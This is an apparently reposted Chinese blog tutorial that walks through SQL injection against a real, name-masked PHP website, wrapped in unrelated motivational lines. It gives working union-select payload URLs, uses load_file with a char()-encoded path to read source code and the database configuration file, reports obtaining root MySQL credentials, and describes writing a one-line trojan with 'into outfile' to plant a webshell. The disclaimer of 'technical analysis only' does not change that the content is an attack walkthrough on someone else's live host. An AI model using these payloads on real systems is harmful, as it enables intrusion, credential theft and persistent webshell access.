每天告诉自己一次:我真的很不错。付出不一定有收获,努力了就值得了。丢下一些包袱后,你会惊讶地发现,原来自己可以飞的那么高。
下面我们来看一下php注入的过程。
因为是网络上的主机,这里仅作注入测试,不作进一步的具体操作。我们首先在网站后面加个单引号字符,返回错误信息,证明该网站有可能存在注入。再提交 and 1=1 正常显示,提交and 1=2显示错误,好,继续提交union注入语句。http://www.xxx.net/view_datail.php?id=357 and 1=1 union select 1 同样显示错误信息。但网站路径我们可以知道,并且是一台linux系统/home/caiqing/www/view_detail.php,继续提交
http://www.xxx.net/view_datail.php?id=357 and 1=1 union select 1,2直到网站正常显示时为http://www.xxx.net/view_datail.php?id=357 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11 这时再输入http://www.xxx.net/view_datail.php?id=357 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11时出现如图显示:
图片中出现数字3,5,8,9,7等数字,我们再对照一下原网页就清楚了,可以看到在前面一图中的数字3,5,7处为字符型,我们可以采用load_file语句来显示网站中的源代码,我们可以顺利地拿到mysql的帐号和密码。
接下来将/home/caiqing/www/view_detail.php转化为ascii后为:char(47,104,111,109,101,47,99,97,105,113,105,110,103,47,119,119,119,47,118,105,101,119,95,100,101,116,97,105,108,46,112 ,104,112)采用load_file的方式加在数字7处,如下:
http://www.xxx.net/view_datail.php?id=357 and 1=2 union select 1,2,3,4,5,6,load_file(char(47,104,111,109,101,47,99,97,105,113,105,110,103,47,119,119,119,47,118,105,101,119,95,100,101,116,97,105,108,46,112 ,104,112)),8,9,10,11
如图:
我们看到有一个config.php可能就是数据库配置文件了,我们再用同样的方式显示出来这个网站的数据库配置文件,最后取得mysql的帐号和密码,还是root权限的,我们可以直接采用上面所说的创建一个表,加入一句话马,再用select * from rose into outfile "/home/caiqing/www/shelll.php ";得到一个webshell。也可以利用数据表中的用户表在url中执行select语句并将管理员用户名和密码显示在数字3和5中,介于我们这里只是作技术分析,不详解。
本文Php网站的脚本注入漏洞实例检测(图) 到此结束。克服困难,勇敢者自有千方百计,怯懦者只感到万般无奈。小编再次感谢大家对我们的支持!